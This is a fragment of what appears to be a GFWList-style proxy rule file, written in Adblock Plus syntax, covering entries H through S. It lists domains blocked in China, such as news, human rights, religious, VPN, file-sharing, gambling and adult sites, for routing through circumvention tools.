.com\\n||hootsuite.com\\n|http://globalrescue.hopto.org/\\nhotpot.hk\\n.hotshame.com\\n||hotspotshield.com\\n||hougaige.com\\n||howtoforge.com\\n.hqcdp.org\\n||hqcdp.org\\n.hrcir.com\\n.hrcchina.org\\n.hrichina.org\\n||hrichina.org\\n.hrw.org\\n||hrw.org\\n||hsjp.net\\n||hsselite.com\\n.htkou.net\\n||htmldog.com\\nhuaglad.com\\n.huanghuagang.org\\n||huanghuagang.org\\n.huaren.us\\n||huaren.us\\nhuaxia-news.com\\nhuaxiabao.org\\nhuaxin.ph\\nhua-yue.net\\n||hugoroy.eu\\n||huhaitai.com\\n||huhamhire.com\\nhumanrightsbriefing.org\\n||hung-ya.com\\n||hungerstrikeforaids.org\\n||huping.net\\n||hutianyi.net\\nhutong9.net\\n||hwayue.org.tw\\n||hwinfo.com\\nhxwq.org\\n||hypeshell.com\\n||hyperrate.com\\n\\n!--------------------II--------------------\\n.i-cable.com\\n||i1.hk\\n||i2p2.de/\\n||i2runner.com\\niask.ca\\n||iask.ca\\niask.bz\\n||iask.bz\\nibiblio.org/pub/packages/ccic\\n||iblogserv-f.net\\nibros.org\\n|http://cn.ibtimes.com\\nblogs.icerocket.com/tag\\n.icij.org\\n||icl-fi.org\\n\\n!--http://furbo.org/2015/01/28/grass-mud-horse/\\n||iconfactory.com\\n\\n||iconpaper.org\\n!-- Google Pages\\n||icu-project.org\\nw.idaiwan.com/forum\\nidemocracy.asia\\n.identi.ca\\n||identi.ca\\n||idiomconnection.com\\n|http://www.idlcoyote.com\\n.idouga.com\\nforum.idsam.com\\n.idv.tw\\nieasynews.net\\n.ied2k.net\\n|http://if.ttt/\\nifanqiang.com\\n.ifanr.com/857\\n.ifcss.org\\n||ifcss.org\\nifjc.org\\n|http://ift.tt\\n||ifreewares.com\\n||igfw.net\\n||ignitedetroit.net\\n||igvita.com\\n||ihakka.net\\n||iicns.com\\n||illusionfactory.com\\n||ilove80.be\\n||im.tv\\n@@||myvlog.im.tv\\n||im88.tw\\n.imagefap.com\\n||imagefap.com\\n||imageflea.com\\nimageshack.us\\n||imagevenue.com\\n||imagezilla.net\\n!--.imdb.com\\n!--|http://imdb.com\\n|http://www.imdb.com/name/nm0482730\\n|http://www.imdb.com/title/tt0819354/\\n.img.ly\\n||img.ly\\n.imkev.com\\n||imkev.com\\n.imlive.com\\nimmigration.gov.tw\\n|http://tech2.in.com/video/\\n||incredibox.fr\\n.initiativesforchina.org\\n.inmediahk.net\\n||inmediahk.net\\n||innermongolia.org\\n.instagram.com\\n||instagram.com\\n||interfaceaddiction.com\\n||internationalrivers.org\\n|http://internet.org/\\ninternetdefenseleague.org\\ninternetfreedom.org\\n!--||interpol.int\\n||internetpopculture.com\\ninxian.com\\n||inxian.com\\n||ipcf.org.tw\\n||iphone4hongkong.com\\n||iphonehacks.com\\n||iphonix.fr\\n||ipicture.ru\\n!--ipobar.com\\n||ippotv.com\\n|https://*.iptorrents.com\\n|https://iptorrents.com\\n||ipvanish.com\\niredmail.org\\n||ironicsoftware.com\\n||ironbigfools.compython.net\\n||ironpython.net\\n.beta.iset.com.tw/forum\\nhttp://beta.iset.com.tw/forum\\nforum.iset.com.tw\\n.islam.org.hk\\n.islamicity.com\\n.isaacmao.com\\n||isaacmao.com\\n||isgreat.org\\n||ismaelan.com\\n||ismprofessional.net\\nisohunt.com\\n||israbox.com\\nblog.istef.info/2007/10/21/myentunnel\\n.istockphoto.com\\nisunaffairs.com\\nisuntv.com\\nitaboo.info\\n||itaboo.info\\ndownload.ithome.com.tw\\nithelp.ithome.com.tw\\n||itshidden.com\\n.itweet.net\\n|http://itweet.net\\n.iu45.com\\n||iuhrdf.org\\n.iverycd.com\\n||lvv2.com\\n||ixquick.com\\niyouport.com\\n||iyouport.com\\n.izaobao.us\\n||gmozomg.izihost.org\\n.izles.net\\n\\n!--------------------JJ--------------------\\n||j.mp\\nblog.jackjia.com\\n||japan-whores.com\\n.javbus.com\\njbtalks.cc\\njbtalks.com\\njbtalks.my\\n.jdwsy.com\\njeanyim.com\\n||jgoodies.com\\n||jiaoyou8.com\\n.jiehua.cz\\n||hk.jiepang.com\\n||tw.jiepang.com\\njieshibaobao.com\\njigong1024.com\\njinbushe.org\\n||jinbushe.org\\nzhao.jinhai.de\\njingpin.org\\n||jingpin.org\\nac.jiruan.net\\n||jitouch.com\\njkforum.net\\n||jma.go.jp\\nresearch.jmsc.hku.hk/social\\n||joachims.org\\n||jobso.tv\\n||joeedelman.com\\n||journalofdemocracy.org\\njpopforum.net\\n||juliereyc.com\\n||junauza.com\\n.junefourth-20.net\\n||junefourth-20.net\\njustfreevpn.com\\njusttristan.com\\njuyuange.org\\njuziyue.com\\n||juziyue.com\\n||jwmusic.org\\n@@||music.jwmusic.org\\n.jyxf.net\\n\\n!--------------------KK--------------------\\n||ka-wai.com\\n.kagyuoffice.org\\n||kagyuoffice.org\\n||kagyuoffice.org.tw\\n.kaiyuan.de\\n||kakao.com\\nkanzhongguo.com\\nkanzhongguo.eu\\n||karayou.com\\n||kcsoftwares.com\\n.kechara.com\\n.keepandshare.com/visit/visit_page.php?i=688154\\n||keepvid.com\\n.kendincos.net\\n.kenengba.com\\n||kenengba.com\\n||keontech.net\\nwiki.keso.cn/Home\\n.khabdha.org\\n.khmusic.com.tw\\nbbs.kimy.com.tw\\n||kindleren.com\\n.kingdomsalvation.org\\nkinghost.com\\n.kingstone.com.tw\\nkillwall.com\\n||killwall.com\\n.kissbbao.cn\\n|http://kiwi.kz\\n||kmt.org.tw\\n.knowledgerush.com/kr/encyclopedia\\n||kodingen.com\\n@@||www.kodingen.com\\n||kompozer.net\\n||koolsolutions.com\\n.koornk.com\\n||koornk.com\\n.kui.name/event\\n.kuliwang.com\\nkun.im\\n.kurashsultan.com\\n||kurtmunger.com\\nkusocity.com\\n||kwcg.ca\\nkwongwah.com.my\\nkyohk.net\\n.kzeng.info\\n||kzeng.info\\n\\n!--------------------LL--------------------\\nla-forum.org\\nladbrokes.com\\n||labiennale.org\\nlagranepoca.com\\n.lalulalu.com\\n|http://www.lamenhu.com\\nlaogai.org\\n||laogai.org\\nlaomiu.com\\n.laoyang.info\\n|http://laoyang.info\\n||laptoplockdown.com\\n||laqingdan.net\\n||larsgeorge.com\\n||lastfm.es\\nlatelinenews.com\\n.latibet.org\\n||lazarsearlymusic.com\\n||leecheukyan.org\\n|http://leirentv.ca\\nleisurecafe.ca\\n||lematin.ch\\n.lemonde.fr\\n||lenwhite.com\\nlerosua.org\\n||lerosua.org\\nblog.lester850.info\\n||lesoir.be\\nletscorp.net\\n||letscorp.net\\n.liangyou.net\\n||liangyou.net\\nliansi.org\\n.lianyue.net\\n||liaowangxizang.net\\n.liaowangxizang.net\\n||liberal.org.hk\\nlibertytimes.com.tw\\n.lidecheng.com/blog/fucking-gfw\\nlimiao.net\\nabitno.linpie.com/use-ipv6-to-fuck-gfw\\n||line.me\\n.linglingfa.com\\n||lingvodics.com\\n.linkideo.com\\n||api.linksalpha.com\\n||apidocs.linksalpha.com\\n||www.linksalpha.com\\n||help.linksalpha.com\\n||linux-engineer.net\\n||linuxconfig.org\\n||linuxreviews.org\\nlinuxtoy.org/archives/installing-west-chamber-on-ubuntu\\n.lipuman.com\\n||listentoyoutube.com\\nlistorious.com\\n||liudejun.com\\n.liuhanyu.com\\n.liujianshu.com\\n||liujianshu.com\\nliuxiaotong.com\\n||liuxiaotong.com\\nliu.lu\\n.liveleak.com\\n||liveleak.com\\n.livestation.com\\nlivestream.com\\n||livestream.com\\n||livingonline.us\\n||livingstream.com\\n||livevideo.com\\n.livevideo.com\\nlizhizhuangbi.com\\nlkcn.net\\n|http://localpresshk.com\\n||lockdown.com\\n||lockestek.com\\nlogbot.net\\n||logiqx.com\\n||logmike.com\\n.longhair.hk\\n||longtermly.net\\n.lookatgame.com\\n|http://lookatgame.com\\n||lookingglasstheatre.org\\n||lookpic.com\\n.looktoronto.com\\n.lotsawahouse.org/tibetan-masters/fourteenth-dalai-lama\\n.lotuslight.org.tw\\nhkreporter.loved.hk\\n||lrfz.com\\n.lrip.org\\n|http://lrip.org/\\n.lsd.org.hk\\n||lsd.org.hk\\nlsforum.net\\n||lsm.org\\n||lsmchinese.org\\n||lsmkorean.org\\n.lsmradio.com/rad_archives\\n.ltn.com.tw\\n|http://ltn.com.tw\\n.lupm.org\\n||lupm.org\\n||lushstories.com\\nlvhai.org\\n||lvhai.org\\n\\n!--------------------MM--------------------\\nforum.m-team.cc/forum\\n||mh4u.org\\nm-team.cc/forum\\nwww.macrovpn.com\\n||mad-ar.ch\\n|http://maiplus.com\\n||marc.info\\nmarguerite.su\\n||martincartoons.com\\n.maiio.net\\nmail-archive.com\\n.malaysiakini.com\\n||makemymood.com\\n||marines.mil\\nmarkmail.org*message\\n||martau.com\\n.martsangkagyuofficial.org\\n|http://martsangkagyuofficial.org\\nmaruta.be/forget\\n.marxist.com\\n||marxist.net\\n.marxists.org/chinese\\n!--mashable.com\\n!--||mashable.com\\n||matainja.com\\n||mathiew-badimon.com\\n||matsushimakaede.com\\n|http://maturejp.com\\nmayimayi.com\\n||mcadforums.com\\nmcfog.com\\n.md-t.org\\n||md-t.org\\n.mediafire.com/?\\n.mediafire.com/download\\n||meetup.com\\nmefeedia.com\\n.megaporn.com\\n||megaproxy.com\\n||megarotic.com\\nmegavideo.com\\n||megurineluka.com\\nmeirixiaochao.com\\n||melon-peach.com\\nmemedia.cn\\n.memehk.com\\n||memehk.com\\n.memrijttm.org\\nmerit-times.com.tw\\n.mesotw.com/bbs\\n.metacafe.com\\n||meteorshowersonline.com\\n|http://www.metro.taipei/\\n||metrolife.ca\\n||mgoon.com\\n||mgstage.com\\nmhradio.org\\n|http://michaelanti.com\\n||michaelmarketl.com\\nmiddle-way.net\\n.mihk.hk/forum\\nmihua.org\\n.mimivip.com\\n.mimivv.com\\n.mindrolling.org\\n|http://mindrolling.org\\nminghui.org\\n||minghui.org\\nminghui-a.org\\nminghui-b.org\\nminghui-school.org\\n.mingjinglishi.com\\n||mingjinglishi.com\\nmingjingnews.com\\n||mingjingtimes.com\\nmingpao.com\\n.mingpaocanada.com\\n.mingpaomonthly.com\\nmingpaonews.com\\n.mingpaony.com\\n.mingpaosf.com\\n.mingpaotor.com\\n.mingpaovan.com\\n.mingshengbao.com\\n.ministrybooks.org\\n.minzhuhua.net\\n||minzhuhua.net\\nminzhuzhanxian.com\\nminzhuzhongguo.org\\n||miroguide.com\\nmirrorbooks.com\\nmitbbs.com\\n.mixero.com\\n||mixero.com\\nmixpod.com\\n.mixx.com\\n||mixx.com\\n||mizzmona.com\\n.mk5000.com\\n.mlcool.com\\n||mmaaxx.com\\nplurktop.mmdays.com\\n.mmmca.com\\n||mobatek.net\\n.mobile01.com\\n||mobileways.de\\n.mobypicture.com\\n|http://moby.to\\n||mrdoob.com\\nwiki.moegirl.org\\n||mog.com\\nmolihua.org\\n||mondex.org\\n|http://www.monlamit.org\\nc1522.mooo.com\\n||monitorchina.org\\nbbs.morbell.com\\n||morningsun.org\\n||movabletype.com\\n||moviefap.com\\n||www.moztw.org\\nmp3ye.eu\\n||mp/\\n||mpettis.com\\nmpfinance.com\\nmpinews.com\\nmrtweet.com\\n||mrtweet.com\\nnews.msn.com.tw\\nmsguancha.com\\n||mthruf.com\\n||multiply.com\\nmultiproxy.org\\nforum.mymaji.com\\nmultiupload.com\\n||muouju.com\\n||muselinks.co.jp\\n||muzi.com\\n||muzi.net\\n||mx981.com\\n.my-proxy.com\\nforum.my903.com\\nmyactimes.com\\n||my-addr.com\\n||myaudiocast.com\\n.myav.com.tw/bbs\\n||bbs.mychat.to\\n||mychinamyhome.com\\n.mychinamyhome.com\\n||www.mycould.com\\n||myeclipseide.com\\n.myforum.com.hk\\n||myforum.com.hk\\n||myforum.com.uk\\n.myfreshnet.com\\n||myparagliding.com\\n||mypopescu.com\\nmysinablog.com\\n.myspace.com\\n!--.blogs.myspace.com\\n!--||blogs.myspace.com\\n!--vids.myspace.com/index.cfm?fuseaction=vids.\\n!--viewmorepics.myspace.com\\n\\n!--------------------NN--------------------\\n||naacoalition.org\\nold.nabble.com\\n||naitik.net\\n||namsisi.com\\nnanyang.com\\n||nanyang.com\\n.nanyangpost.com\\n||nanyangpost.com\\n.nanzao.com/sc/hk-macau-tw\\n||jpl.nasa.gov\\n||pds.nasa.gov\\n/^https?:\\\\/\\\\/[^\\\\/]+line\\\\.naver\\\\.jp/\\n||navicat.com\\n.nakido.com\\n||nakido.com\\n.naol.ca\\ncyberghost.natado.com\\n||national-lottery.co.uk\\n||usno.navy.mil\\nnccwatch.org.tw\\n.nch.com.tw\\n.ncn.org\\n||ncn.org\\n||etools.ncol.com\\n.nde.de\\n.ndr.de\\nwww.ned.org\\n||nekoslovakia.net\\nt.neolee.cn\\nnetcolony.com\\nbolin.netfirms.com\\nzh.netlog.com\\nnetme.cc\\nnetworkedblogs.com\\nneverforget8964.org\\nnew-3lunch.net\\n.new-akiba.com\\n.newcenturymc.com\\n|http://newcenturymc.com\\nnewcenturynews.com\\n||newchen.com\\n.newchen.com\\n.newgrounds.com\\nnewlandmagazine.com.au\\nnews100.com.tw\\n.newscn.org\\n||newscn.org\\n||newsminer.com\\nnewspeak.cc/story\\n.newsancai.com\\n||newstapa.org\\n.newtaiwan.com.tw\\nnewtalk.tw\\n||newtalk.tw\\nnewyorktimes.com\\n!--hk*.nextmedia.com\\n!--tw*.nextmedia.com\\n!--static*.nextmedia.com\\n.nextmedia.com\\n||nexton-net.jp\\nnexttv.com.tw\\n||nga.mil\\nngensis.com\\n.nicovideo.jp/watch\\n!--||nicovideo.jp\\n||nighost.org\\nninecommentaries.com\\nnintendium.com\\ntaiwanyes.ning.com\\nusmgtcg.ning.com/forum\\n||niusnews.com\\n||njactb.org\\nnjuice.com\\n||njuice.com\\nnlfreevpn.com\\n!--no-ip.com\\n||nobel.se\\n!--.nobelprize.org\\n!--|http://nobelprize.org\\nnobelprize.org/nobel_prizes/peace/laureates/2010\\nnobodycanstop.us\\n||nobodycanstop.us\\n||nokogiri.org\\n||nokola.com\\n.norbulingka.org\\n||novelasia.com\\n|http://news.now.com/home*\\n||nownews.com\\n.nowtorrents.com\\n.noypf.com\\n||noypf.com\\n||npa.go.jp\\n.nps.gov\\n.nrk.no\\n||nrk.no\\n||nsc.gov.tw\\n.ntd.tv\\n||ntd.tv\\nntdtv.co\\nntdtv.ca\\nntdtv.org\\nntdtv.ru\\n||cbs.ntu.edu.tw\\n.nubiles.net\\n||nuexpo.com\\n||nurgo-software.com\\n.nuvid.com\\nnuzcom.com\\n.nvquan.org\\n.nwtca.org\\n||nyaa.se\\n.nydus.ca\\n||nyt.com\\n||nytco.com\\n|http://nyti.ms/\\n.nytimes.com\\n||nytimes.com\\n||nytimg.com\\nnysingtao.com\\n||nzchinese.net.nz\\n\\n!--------------------OO--------------------\\nobservechina.net\\noclp.hk\\n||october-review.org\\noffbeatchina.com\\nofficeoftibet.com\\n||ogaoga.org\\ntwtr2src.ogaoga.org\\nwww2.ohchr.org/english/bodies/cat/docs/ngos/II_China_41.pdf\\n.oikos.com.tw/v4\\n.oiktv.com\\noizoblog.com\\n.okayfreedom.com\\nold-cat.net\\n||olumpo.com\\n.olympicwatch.org\\nomgili.com\\n||omnitalk.com\\n||omnitalk.org\\ncling.omy.sg\\nforum.omy.sg\\nnews.omy.sg\\nshowbiz.omy.sg\\n||on.cc\\n||onedrive.live.com\\n|http://www.onion.city\\n.onlylady.cn\\nonmoon.net\\nonmoon.com\\n!--Sorry but we are confused as well\\n||ontrac.com\\n.oopsforum.com\\nopen.com.hk\\nopendemocracy.net\\nmyopenid.com\\n||myopenid.com\\nopenid.net\\n||openid.net\\n||blog.openinkpot.org\\n.openleaks.org\\n||openleaks.org\\nopenvpn.net\\n||openvpn.net\\n||openwebster.com\\n|http://help.opera.com\\nmy.opera.com/dahema\\n||demo.opera-mini.net\\nwww.orchidbbs.com\\norganharvestinvestigation.net\\n||orient-doll.com\\norientaldaily.com.my\\n||orientaldaily.com.my\\n!--orientaldaily.on.cc\\n||orn.jp\\nt.orzdream.com\\n||t.orzdream.com\\ntui.orzdream.com\\n||orzistic.org\\n||osfoora.com\\n|http://www.osmdroid.net\\n||ourdearamy.com\\noursogo.com\\noursteps.com.au\\nxinqimeng.over-blog.com\\nshare.ovi.com/media\\n|http://owl.li\\n|http://ht.ly\\n|http://htl.li\\n|http://mash.to\\nwww.owind.com\\n|http://www.oxid.it\\noyax.com\\n.ozchinese.com/bbs\\n||ow.ly\\nbbs.ozchinese.com\\n.ozyoyo.com\\n\\n!--------------------PP--------------------\\n.pacificpoker.com\\n.packetix.net\\n.padmanet.com\\npage2rss.com\\n||pagodabox.com\\n\\n!--Godaddy Free Hosting\\n||paint.net\\n||coveringweb.com\\n.palacemoon.com\\nforum.palmislife.com\\n||eriversoft.com\\npaljorpublications.com\\npaper.li\\npaperb.us\\n.panluan.net\\n||panluan.net\\n||pao-pao.net\\n.parade.com/dictators/2009\\n.passion.com\\n||passion.com\\n.passiontimes.hk\\npastebin.com\\n.pastie.org\\n||pastie.org\\n||blog.pathtosharepoint.com\\npbs.org/wgbh/pages/frontline/gate\\npbs.org/wgbh/pages/frontline/tankman\\npbs.org/wgbh/pages/frontline/tibet\\n\\n!--Pbwiki\\npbwiki.com\\n||pbworks.com\\n||developers.box.net\\n||wiki.oauth.net\\n||wiki.phonegap.com\\n||wiki.jqueryui.com\\n\\n||pbxes.com\\n||pbxes.org\\n.pcdiscuss.com\\npcdvd.com.tw\\n.pchome.com.tw\\n|http://pcij.org/\\n||pct.org.tw\\npdetails.com\\n||pdproxy.com\\n||peace.ca\\npeacefire.org\\npeacehall.com\\n|http://pearlher.org\\n.peeasian.com\\n.pekingduck.org\\n||pekingduck.org\\n||pen.io\\npenchinese.com\\n||penchinese.net\\n.penchinese.net\\npengyulong.com\\n||blog.pentalogic.net\\n.penthouse.com\\n.peopo.org\\n||peopo.org\\n.percy.in\\n.perfectgirls.net\\nperfectvpn.net\\n.persecutionblog.com\\nphayul.com\\nphilly.com\\n||phncdn.com\\n||photodharma.net\\n||photofocus.com\\n||phuquocservices.com\\n.picidae.net\\n||img*.picturedip.com\\npicturesocial.com\\n.pin6.com\\n||pin6.com\\n.ping.fm\\n||ping.fm\\n||pinoy-n.com\\n.piposay.com\\n.piring.com\\n||pixelqi.com\\n||css.pixnet.in\\n||pixnet.net\\n.pixnet.net\\n.pk.com\\n||placemix.com\\n!--.planetsuzy.org\\n|http://pictures.playboy.com\\n||playboy.com\\n||playpcesor.com\\nplays.com.tw\\n||m.plixi.com\\nplm.org.hk\\nplunder.com\\n.plus28.com\\n.plusbb.com\\n.pmates.com\\n||po2b.com\\n||pocoo.org\\n||podictionary.com\\n.pokerstars.com\\n||pokerstars.com\\nzh.pokerstrategy.com\\npoliticalchina.org\\npoliticalconsultation.org\\n!--||popularpages.net\\n||popvote.hk\\npopyard.com\\n||popyard.org\\n.porn.com\\n.porn2.com\\n.pornbase.org\\n||pornhd.com\\n.pornhub.com\\n||pornmm.net\\n.pornoxo.com\\n.pornrapidshare.com\\n||pornrapidshare.com\\n.pornstarclub.com\\n.porntube.com\\n.pornvisit.com\\n.portablevpn.nl\\n.post852.com\\npostadult.com\\n||powercx.com\\n||www.powerpointninja.com\\n||cdn.printfriendly.com\\n||pts.org.tw\\npubu.com.tw\\npuffinbrowser.com\\npureinsight.org\\n||putty.org\\n\\n!-------------Posterous-----\\n|http://post.ly\\n.posterous.com\\n|http://posterous.com\\n||post.anyu.org\\n||bralio.com\\n||calebelston.com\\n!-||blog.dabr.co.uk\\n||designerol.com\\n||blog.fizzik.com\\n||nf.id.au\\n||markmilian.com\\n||log.riku.me\\n||sogrady.me\\n||vatn.org\\n||veempiire.com\\n||www.vegorpedersen.com\\n||ventureswell.com\\n||webfee.tk\\n||whereiswerner.com\\n||bill.zhong.pp.ru\\n\\n.power.com\\n||power.com\\npowerapple.com\\n||abc.pp.ru\\nheix.pp.ru\\n||prayforchina.net\\n||premeforwindows7.com\\n||presentationzen.com\\n||prestige-av.com\\nprisoner-state-secret-journal-premier\\n.prisoneralert.com\\n||pritunl.com\\n||privacybox.de\\n||privateinternetaccess.com\\nprivatepaste.com\\n||privatepaste.com\\nprivatetunnel.com\\n||privatetunnel.com\\n||procopytips.com\\nprovideocoalition.com\\n||prosiben.de\\nproxifier.com\\napi.proxlet.com\\n||proxomitron.info\\nproxy.org\\n.proxypy.net\\n||proxypy.net\\nproxyroad.com\\nprozz.net\\npsblog.name\\n||psblog.name\\n||psiphon.ca\\n.ptt.cc\\n.puffstore.com\\n||pullfolio.com\\n||pureconcepts.net\\n||purepdf.com\\n||purevpn.com\\n.putlocker.com/file\\npwned.com\\npython.com\\n.python.com.tw\\n|http://python.com.tw\\n\\n!--------------------QQ--------------------\\n.qanote.com\\n||qanote.com\\nqi-gong.me\\n.qidian.ca\\n.qienkuen.org\\n||qienkuen.org\\n||qiwen.lu\\nqixianglu.cn\\nbbs.qmzdd.com\\n.qkshare.com\\nqoos.com\\n||qoos.com\\nblog.qooza.hk*dafengqixi\\n||efksoft.com\\n||qstatus.com\\n||qtweeter.com\\n||qtrac.eu\\n||quitccp.net\\n.quitccp.net\\n||quitccp.org\\n.quitccp.org\\n|http://quran.com\\nqusi8.net\\n.qvodzy.org\\nnemesis2.qx.net*pages*MyEnTunnel\\nqxbbs.org\\n\\n!--------------------RR--------------------\\n.ra.gg\\n|http://ra.gg/\\n.radicalparty.org\\nradioaustralia.net.au\\n.radiohilight.net\\n||radiohilight.net\\nopml.radiotime.com\\n||radiovaticana.org\\n||radiovncr.com\\n||raidcall.com.tw\\n.raidtalk.com.tw\\nrangzen.com\\nrangzen.net\\nrangzen.org\\n|http://blog.ranxiang.com/\\nranyunfei.com\\n||ranyunfei.com\\n.rapbull.net\\n|http://rapidgator.net/\\n!-.rapidshare.com\\n!-|http://rapidshare.com\\n||rapidshare8.com\\n.rapidsharedata.com\\n.raremovie.cc\\n|http://raremovie.cc\\n.raremovie.net\\n|http://raremovie.net\\n!--.rayfme.com/bbs\\nrcinet.ca\\n.read100.com\\n.readingtimes.com.tw\\n||readingtimes.com.tw\\n||readmoo.com\\n.realcourage.org\\n.realraptalk.com\\n.recordhistory.org\\nredchinacn.org\\n.redtube.com\\nreferer.us\\n||referer.us\\n||reflectivecode.com\\nrelaxbbs.com\\n.releaseinternational.org\\nreligioustolerance.org\\nrenminbao.com\\n.renyurenquan.org\\n||renyurenquan.org\\n|http://certificate.revocationcheck.com\\nsubacme.rerouted.org\\n.reuters.com\\n.revleft.com\\nretweetist.com\\n||retweetrank.com\\n!--connectedchina.reuters.com\\n!--|http://www.reuters.com/news/video\\nrevver.com\\n.rfa.org\\n|http://rfa.org\\n.rfachina.com\\n.rfamobile.org\\n||rferl.org\\n.rfi.fr\\n||rfi.fr\\n|http://rfi.my/\\n.rhcloud.com\\n!--Edgecast\\n|http://vds.rightster.com/\\n.rileyguide.com\\nriku.me/\\n.ritouki.jp\\n.rlwlw.com\\n||rlwlw.com\\n.rmjdw.com\\nchinese.rnw.nl\\n.rnw.nl\\nrobtex.com\\n||robustnessiskey.com\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=5mus\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=freemgl\\n||rocmp.org\\n||rojo.com\\n||ronjoneswriter.com\\n.roodo.com\\n.rosechina.net\\n.rotten.com\\n.rsf.org\\n||rsf.org\\n.rsf-chinese.org\\n||rsf-chinese.org\\n.rssmeme.com\\n||rssmeme.com\\n.rthk.hk\\n|http://rthk.hk\\n.rthk.org.hk\\n|http://rthk.org.hk\\nrti.org.tw\\n.ruanyifeng.com/blog*some_ways_to_break_the_great_firewall\\n.rushbee.com\\nrutube.ru\\n.ruyiseek.com\\n.rxhj.net\\n|http://rxhj.net\\n\\n!--------------------SS--------------------\\n||s-cute.com\\n.s-dragon.org\\n||s1heng.com\\n|http://www.s4miniarchive.com\\n||s8forum.com\\nsacom.hk\\n||sacom.hk\\n||sadpanda.us\\n.saiq.me\\n||saiq.me\\n||sakuralive.com\\n.salvation.org.hk\\n||salvation.org.hk\\n.samair.ru/proxy/type-01\\n.sambhota.org\\nsammyjs.org\\n||sankaizok.com\\n.sanmin.com.tw\\nsapikachu.net\\nsavemedia.com\\nsavetibet.de\\nsavetibet.fr\\nsavetibet.nl\\nsavetibet.org\\nsavetibet.ru\\nsavevid.com\\n||say2.info\\n|http://www.sciencemag.org/content/344/6187/953\\n.scmp.com\\n.scmpchinese.com\\n.scribd.com\\n||scriptspot.com\\nseapuff.com\\ndomainhelp.search.com\\nsecretchina.com\\n||secretgarden.no\\n||default.secureserver.net\\nsecuritykiss.com\\nseesmic.com\\n||seevpn.com\\n||seezone.net\\nsejie.com\\n.sendspace.com\\n|http://tweets.seraph.me/\\nsesawe.net\\n||sesawe.net\\n.sesawe.org\\n||sethwklein.net\\nforum.setty.com.tw\\n.sevenload.com\\n||sevenload.com\\n.sex.com\\n.sex-11.com\\n||sex3.com\\n||sex8.cc\\n.sexandsubmission.com\\n.sexhu.com\\n.sexhuang.com\\nsexinsex.net\\n||sexinsex.net\\n!--IP of SexInSex\\n67.220.91.18\\n67.220.91.23\\n|http://*.sf.net\\n.sfileydy.com\\n.sftuk.org\\n||sftuk.org\\nshadow.ma\\n.shadowsocks.org\\n||shadowsocks.org\\nshahamat-english.com\\n.shangfang.org\\n||shangfang.org\\nshapeservices.com\\n.sharebee.com\\n||sharecool.org\\n!--||sharkdolphin.com\\nsharpdaily.com.hk\\n||sharpdaily.com.hk\\n.sharpdaily.hk\\n.sharpdaily.tw\\n.shat-tibet.com\\nsheikyermami.com\\n.shenshou.org\\nshenyun.com\\nshenyunperformingarts.org\\nshenzhoufilm.com\\n||shenzhoufilm.com\\nshinychan.com\\n.shitaotv.org\\n||shixiao.org\\n||shizhao.org\\n.shizhao.org\\nshkspr.mobi/dabr\\n||shodanhq.com\\n.shopping.com\\n.showtime.jp\\nch.shvoong.com\\n.shwchurch3.com\\n|http://shwchurch3.com\\n||sidelinesnews.com\\n.sidelinessportseatery.com\\nsimplecd.org\\n||simplecd.org\\n@@||simplecd.me\\nsimpleproductivityblog.com\\nbbs.sina.com/\\nbbs.sina.com%2F\\nblog.sina.com.tw\\ndailynews.sina.com/\\ndailynews.sina.com%2F\\nforum.sina.com.hk\\nhome.sina.com\\n||magazines.sina.com.tw\\nnews.sina.com.hk\\nnews.sina.com.tw\\n|http://news.sinchew.com.my\\n.singaporepools.com.sg\\n||singaporepools.com.sg\\nsingtao.com\\n||singtao.com\\nnews.singtao.ca\\n!--||cdp.sinica.edu.tw\\nsino-monthly.com\\n||sinocast.com\\nsinocism.com\\nsinomontreal.ca\\n.sinonet.ca\\n.sinopitt.info\\n.sinoants.com\\n||sinoants.com\\nsinoquebec.com\\n||site90.net\\n.sitebro.tw\\n||sitekreator.com\\n||siteks.uk.to\\n||sitemaps.org\\nsitetag.us\\nsis.xxx\\n||sis001.com\\nsis001.us\\n||sjum.cn/\\n||skimtube.com\\n||skybet.com\\n|http://users.skynet.be/reves/tibethome.html\\n|http://skyhighpremium.com/\\nbbs.skykiwi.com\\n|http://www.skype.com/intl/\\n|http://www.skype.com/zh-Hant\\n||skyvegas.com\\n.xskywalker.com\\n||xskywalker.com\\nm.slandr.net\\n||slavasoft.com\\n||slheng.com\\n.slideshare.net\\nforum.slime.com.tw\\n.slinkset.com\\n||slickvpn.com\\n.slutload.com\\nsmhric.org\\n!--TODO-no-homepage\\n||snapchat.com\\n.snaptu.com\\n||snaptu.com\\n||sndcdn.com\\nsneakme.net\\n||snooper.co.uk\\nsnowlionpub.com\\n||so-ga.net\\n.so-ga.net\\n||so-news.com\\n.so-news.com\\nhome.so-net.net.tw/yisa_tsai\\n||soc.mil/\\n||sockslist.net\\n.sod.co.jp\\n.softether.org\\n||softether.org\\n.softether-download.com\\n||softether-download.com\\n||cdn.softlayer.net\\n||sogclub.com\\nsohcradio.com\\n||sohcradio.com\\n||www.somee.com\\n||sorting-algorithms.com\\n.soumo.info\\n||soup.io/\\n@@||static.soup.io\\n.sobees.com\\n||sobees.com\\nsocialwhale.com\\n.softether.co.jp\\n||softwarebychuck.com\\nblog.sogoo.org\\nsoh.tw\\n||soh.tw\\nsohfrance.org\\n||sohfrance.org\\nchinese.soifind.com\\nsokamonline.com\\n||somee.com\\n.songjianjun.com\\n||songjianjun.com\\n.sonidodelaesperanza.org\\n.sopcast.com\\n.sopcast.org\\n.soul-plus.net\\n||soundcloud.com\\n!--|https://soundcloud.com/punkgod\\n.soundofhope.kr\\nsoundofhope.org\\n||soundofhope.org\\n||soupofmedia.com\\n.sourceforge.net\\n!-|http://sourceforge.net\\n|http://sourceforge.net/p*/shadowsocksgui/\\nsouthnews.com.tw\\nsowers.org.hk\\n||wlx.sowiki.net\\n||space-scape.com\\n||spankbang.com\\n.spankwire.com\\n||spb.com\\n||speakerdeck.com\\n||spencertipping.com\\nspinejs.com\\n||sproutcore.com\\n||sproxy.info\\nsquarespace.com\\n||ssh91.com\\n!--|http://cdn.sstatic.net/\\nwww.stackfile.com/freedur\\n|http://stackoverflow.com/users/895245\\n.stage64.hk\\n||stage64.hk\\n||standupfortibet.org\\nstanford.edu/group/falun\\nusinfo.state.gov\\n.starp2p.com\\n||starp2p.com\\n.startpage.com\\n||startpage.com\\n.state168.com\\n||steel-storm.com\\n||stepmania.com\\nsthoo.com\\n||sthoo.com\\n.stickam.com\\nstickeraction.com/sesawe\\n||stoneip.info\\n||storagenewsletter.com\\n.storm.mg\\n||storm.mg\\n.stoptibetcrisis.net\\n||stoptibetcrisis.net\\n